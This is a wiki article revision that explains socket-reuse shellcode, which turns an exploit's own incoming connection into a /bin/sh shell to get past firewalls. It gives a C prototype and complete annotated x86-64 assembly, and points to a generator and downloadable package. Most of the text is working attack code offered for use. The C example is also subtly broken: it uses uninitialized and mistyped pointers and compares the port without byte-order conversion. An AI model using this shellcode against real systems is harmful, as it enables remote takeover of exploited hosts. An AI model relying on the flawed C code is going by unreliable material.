Difference between revisions of "Shellcode/Socket-reuse"

Revision as of 11:11, 26 November 2012

Socket-reuse shellcode is used to bypass firewalls. Usually, shellcode developers have provided bindshells and connectback shells. Both of these require a permissive firewall to some extent or another. However, because sockets are treated as re-usable or dynamic file descriptors by most operating systems, it is possible to examine existing socket connections, so it is possible to simply bind a shell to the socket that the exploit shellcode came from.

By parsing through the open file descriptors in the context of the exploited process, it is possible to identify the socket file descriptor which a remote exploit came in on. This form of re-use can allow attackers to further execute code without the necessity to further circumvent any network level firewall restrictions.

The code and ideas discussed here are part of an all-encompassing shellcode portal. Everything described here and the full source of the code examined in this article is also available in the downloadable shellcodecs package.

Firewall bypass via dynamic file descriptor re-use

We iterate over all 65535 possible file descriptors. For each one, we call getpeername() which populates a sockaddr struct with the IP address and port of the peer on the socket (or returns -1 if it is not a socket or a socket but not connected). When we have found a socket that matches, we use dup2() to copy stdin, stdout, and stderr to our socket's file descriptor, then execute /bin/sh.

 
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
 
#define PORT_NO 1025
#define ADDR    "127.0.0.1"
 
int main(int argc, const char *argv[])
{
  int test_getpeername;
  struct sockaddr_in *s;
  socklen_t s_len = sizeof(s);
  struct in_addr *inet_address;  
  inet_pton(AF_INET, ADDR, inet_address);
 
  for(int port=0; port<65535; port++){
    if(getpeername(port, (struct sockaddr*) &s, &s_len) != 0)
      continue;
 
    if (s->sin_port != PORT_NO || s->sin_addr.s_addr != inet_address->s_addr)
      continue;
 
    for (int i=0; i<4; i++)
      dup2(port, i);
 
    execve("/bin/sh", NULL, NULL);
  }
  return 0;
}

Iterating Over File Descriptors

The first thing we do is iterate over all file descriptors.

This shellcode begins with an unconditional jump to start, allowing it to call backwards to exit when needed.

 
jmp start
 

Our exit function simply calls exit, since rdi will have a number in it we omitted xoring this to zero to save three bytes.

 
exit:
  push $0x3c
  pop %rax
  syscall
 

The start function sets the counter for file descriptors to two to skip over stdin, stderr, and stdout:

 
start:
  push $0x02
  pop %rdi
 

Then to initialize the sockaddr struct, a pointer to %rsp - 0x14 is placed into %rdx, and then 0x10 is placed at %rdx's location (0x10 is the length of sockaddr struct, required by getpeername()):

 
make_fd_struct:
  lea -0x14(%rsp), %rdx
  movb $0x10, (%rdx)
 

Then a pointer to %rdx + 4 (the sockaddr struct) is placed into %rsi:

 
  lea 0x4(%rdx), %rsi # move struct into rsi
 

The loop increments %di and jumps to exit if it zeroes out.

%di is the lower order word of %rdi.

 
loop:
  inc %di
 

As %di increments it will overflow into %edi once it hits 65536, making %di zero, so when the inc instruction reaches zero, the zero flag is set and we can jump to exit:

 
  jz exit
 

Our stack fix resets the stack pointer to the struct after each iteration.

 
stack_fix:
  lea 0x14(%rdx), %rsp
 

getpeername()

To execute getpeername(fd, sockaddr_struct), we subtract 0x20 from the stack pointer then push the system call number for getpeername (0x34) into %rax.

 
get_peer_name:
  sub $0x20, %rsp
  push $0x34
  pop %rax
  syscall
 

After getpeername executes, we test that it returns 0 (it executed successfully against a connected socket), and if it does not, we jump back up to the start of the loop.

 
check_pn_success:
  test %al, %al
  jne loop
 

Checking the socket

We then check the source IP and source port of the socket (if we have gotten this far, the socket is a connected peer, we just do not know if it is our socket at this point).

First we setup our indexed reference to our IP by putting 0x1b (our offset) into %rcx.

 
; If we make it here, rbx and rax are 0
check_ip:
  push $0x1b
  pop %rcx
 

We then move our IP address that has been xored with 0xffffffff into %ebx.

 
  mov $0xfeffff80, %ebx
 

We "not" this IP (identical to xor 0xffffff), this converts our xored IP into the original (in this case, 127.0.0.1).

 
  not %ebx
 

We compare this decoded value with the IP address returned by getpeername(), which is located at the offset 0x1b.

 
  cmpl %ebx, (%rsp,%rcx,4)      
 

If this matches we continue, otherwise we jump back to the start of the loop.

 
  jne loop
 

Then we check our port using the same xor and not technique at offset 0x35. If the port is incorrect, the code goes back to the beginning of the loop.

 
check_port:
  movb $0x35, %cl
  mov $0x2dfb, %bx
  not %ebx
  cmpw %bx,(%rsp, %rcx ,2) ; (%rbp,%rsi,2)
  jne loop
 

Spawning the shell

Now that we have our correct file descriptor, we can use dup2() to redirect stdout, stderr, and stdin to our socket.

dup2()

This way, when we execute /bin/sh, the read() and write() functions will use our socket instead of the standard file descriptors.

 
reuse:
  push %rax
  push %rax
  pop %rsi
 
  dup_loop:       # redirect stdin, stdout, stderr to socket
    push $0x21
    pop %rax
    syscall
    inc %esi
    cmp $0x4, %esi
    jne dup_loop
 

execve()

Finally, we exececute /bin/sh using the shellcode from earlier in the article:

 
execve:
  pop %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
  push $0x3b                     
  pop %rax                       # set %rax to function # for execve()
  syscall                        # execve('/bin/sh',null,null);
 

See also

Once this is assembled and the opcodes are extracted we can create a generator in python that will accept a port and IP address from command-line, then convert them into the correct format for the shellcode. The generator then prints the completed shellcode for later use.

The test program, sender, generator, and full code for the shellcode are in the appendix tarball. Our final generated shellcode comes out to 115 bytes.